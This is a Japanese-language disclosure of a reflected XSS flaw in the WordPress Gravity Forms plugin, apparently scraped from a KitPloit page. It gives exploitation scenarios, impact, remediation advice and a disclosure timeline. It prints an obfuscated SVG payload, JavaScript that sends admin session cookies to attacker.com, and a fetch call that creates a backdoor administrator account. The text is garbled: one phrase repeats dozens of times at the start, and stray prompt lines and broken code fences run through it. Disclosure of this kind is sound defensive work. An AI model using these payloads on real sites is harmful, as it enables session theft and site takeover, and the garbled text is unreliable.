フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、`-```html

root@kitploit:~
**`config_path` フォーム番号は任意です** — 任意の整数で動作します(テスト済み: `1`、`3`、`999`)。また、無効な設定パスは `form_ids` の値を反映しないエラーメッセージを返します。

---

## 悪用シナリオ

### シナリオ 1: Cookie 流出によるセッションハイジャック

攻撃者は、ターゲットから有効な nonce を自動的に取得するページをホストし、ポップアップウィンドウに悪用フォームを送信します。ペイロードはセッション Cookie を攻撃者が管理するサーバーに流出させます:

**ペイロード:**```html
<svg id=[BASE64_ENCODED_JS] onload=eval(atob(this.id))>

デコードされたJavaScript:```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);

root@kitploit:~
この手法では、`this.id`自己参照パターンを使用して、反映された属性コンテキスト内での引用符やスペース文字を回避し、SVG要素の`id`属性内に完全なエクスプロイトロジックをBase64でエンコードします。

認証済みのWordPress管理者が攻撃者のページを訪問すると、そのセッションCookie(`wordpress_logged_in_*`、`wordpress_sec_*`)が攻撃者に送信され、攻撃者は管理者になりすますことができます。

### シナリオ2:管理者アカウントの作成

同じ配信メカニズムを使用して、ペイロードはWordPress REST APIまたは管理ページに対して認証済みAPIリクエストを行い、新しい管理者アカウントを作成できます:```javascript
fetch('/wp-json/wp/v2/users', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json', 'X-WP-Nonce': wpApiSettings.nonce},
  body: JSON.stringify({username:'backdoor', password:'P@ssw0rd!', email:'[email protected]', roles:['administrator']})
});

シナリオ3: フィッシングのためのDOM乗っ取り

反射型XSSにより、ページ全体のDOMを説得力のあるフィッシングオーバーレイ(例: 偽のログインページやセッションタイムアウトのプロンプト)に置き換え、認証情報を直接収集することができます。


攻撃フロー```

┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘

root@kitploit:~
## MITRE ATT&CK マッピング

| 戦術 | 手法 | ID | 説明 |
|---|---|---|---|
| 初期アクセス | ドライブバイ侵害 | T1189 | 被害者が攻撃者管理下のページを訪問し、XSS配信メカニズムがホストされている |
| 実行 | ユーザー実行: 悪意のあるリンク | T1204.001 | 被害者が攻撃者のページへのリンクをクリックするか、リダイレクトされる |
| 認証情報アクセス | WebセッションCookieの窃取 | T1539 | XSSペイロードが被害者のブラウザからセッションCookieを外部送信する |
| 永続化 | アカウント作成 | T1136.001 | 攻撃者が窃取した管理者セッションを使用してバックドア管理者アカウントを作成する |
| 防御回避 | 昇格制御メカニズムの悪用 | T1548 | XSSが特権ユーザーのセッションのコンテキストで実行される |

---

## 影響評価

### 機密性

- **セッションCookie**(`wordpress_logged_in_*` および `wordpress_sec_*` を含む)が外部送信される可能性がある
- DOM内で参照可能な**CSRF nonce**が、後続のAPIリクエストのために取得される可能性がある
- 管理ページに表示される**ユーザーPII**が、注入されたスクリプトによってアクセス可能になる

### 完全性

- 被害者に代わって**管理操作**を実行できる(投稿作成、プラグインインストール、ユーザー管理、テーマ編集)
- **サイトコンテンツ**を変更または改ざんできる
- 永続的なアクセスのために**バックドアアカウント**を作成できる

### 可用性

- 管理アカウントの侵害による**サイト乗っ取り**は、可用性の完全な喪失につながる可能性がある
- テーマ/プラグインエディターを介した**マルウェア注入**により、サイトが使用不能になったり、訪問者に害を及ぼす可能性がある

---

## 修復に関する推奨事項

### Gravity Forms(ベンダー)向け

1. **入力検証** — 処理前にすべての `form_ids` 値に対して厳格な整数型キャストを強制する。`^[0-9]+$` に一致しない値はすべて拒否する:   ```php
   $form_ids = array_map('intval', $form_ids);
   $form_ids = array_filter($form_ids, function($id) { return $id > 0; });
  1. 出力エンコーディング — JSONレスポンスを構築する際に、wp_json_encode() を JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT フラグとともに適用し、HTML上で意味を持つ文字がエスケープされるようにします: ```php echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
    root@kitploit:~
  2. Content-Type の修正 — すべての AJAX JSON レスポンスについて、レスポンスの Content-Type を text/html ではなく application/json に設定します。これにより、サニタイズされていないコンテンツが反映された場合でも、ブラウザがレスポンスを HTML として解析することを防ぎます。 ```php header('Content-Type: application/json; charset=UTF-8');
    root@kitploit:~
  3. Nonce スコープ — config_nonce をユーザーセッションに紐付けるか、nonce 生成にレート制限を実装して、自動化された悪用のコストを引き上げることを検討してください。

サイト管理者向け(即時緩和策)

  1. Web アプリケーションファイアウォール(WAF) — action=gform_get_config が指定された admin-ajax.php への POST リクエストの args パラメータ内の HTML タグを検出・ブロックする WAF ルールを展開する
  2. コンテンツセキュリティポリシー — 制限的な script-src CSP ディレクティブ(例:script-src 'self')を実装し、リフレクションされた場合でもインラインスクリプトの実行を防ぐ
  3. アップデートの監視 — リリースされたらすぐに Gravity Forms のパッチを適用する
  4. 管理者アカウントの監査 — 既存の管理者アカウントに不正な追加がないか確認する

開示のタイムライン

日付イベント
2026-03-04認可されたペネトレーションテスト中に脆弱性を発見
2026-03-04Wordfence(WordPress CNA)に報告
2026-03-XXWordfence による初期拒否(自己 XSS として誤分類)
2026-03-XX実証可能な POC と nonce 分析を添えて再提出。判断が覆される
2026-03-18Wordfence により CVE-2026-4406 が割り当てられる
2026-03-18[email protected] 経由でベンダーに通知
2026-03-21ベンダーが確認し、レビュー用のホットフィックス(2.9.30.1)を提供
2026-04-02パッチ検証済み — form_ids に対する absint() 入力検証と Content-Type: application/json が脆弱性を修復することを確認
2026-04-02脆弱性が解決

参考情報

  • Gravity Forms セキュリティドキュメント
  • [Gravity Forms セキュリティ連絡先](mailto:[email protected])
  • CWE-79: Web ページ生成時の入力の不適切な無害化
  • OWASP クロスサイトスクリプティング(XSS)
  • WordPress AJAX API — admin-ajax.php
  • CVE-2023-2701 — 以前の Gravity Forms XSS(異なるベクター)
  • CVE-2024-13377 — alt パラメータ経由の以前の Gravity Forms 保存型 XSS(異なるベクター)

免責事項

本脆弱性は、署名済みの作業範囲書と明示的な書面による承認に基づいて実施された、認可されたペネトレーションテスト契約中に発見されました。すべてのテストは合意された範囲内で実施され、発見後すぐにクライアントへ報告されました。本開示は責任ある開示の慣行に従っています。不正なシステムへのアクセスはなく、管理された概念実証の検証以外でのデータの持ち出しは行われていません。


発見者: Anthony Cihan

ツールをダウンロード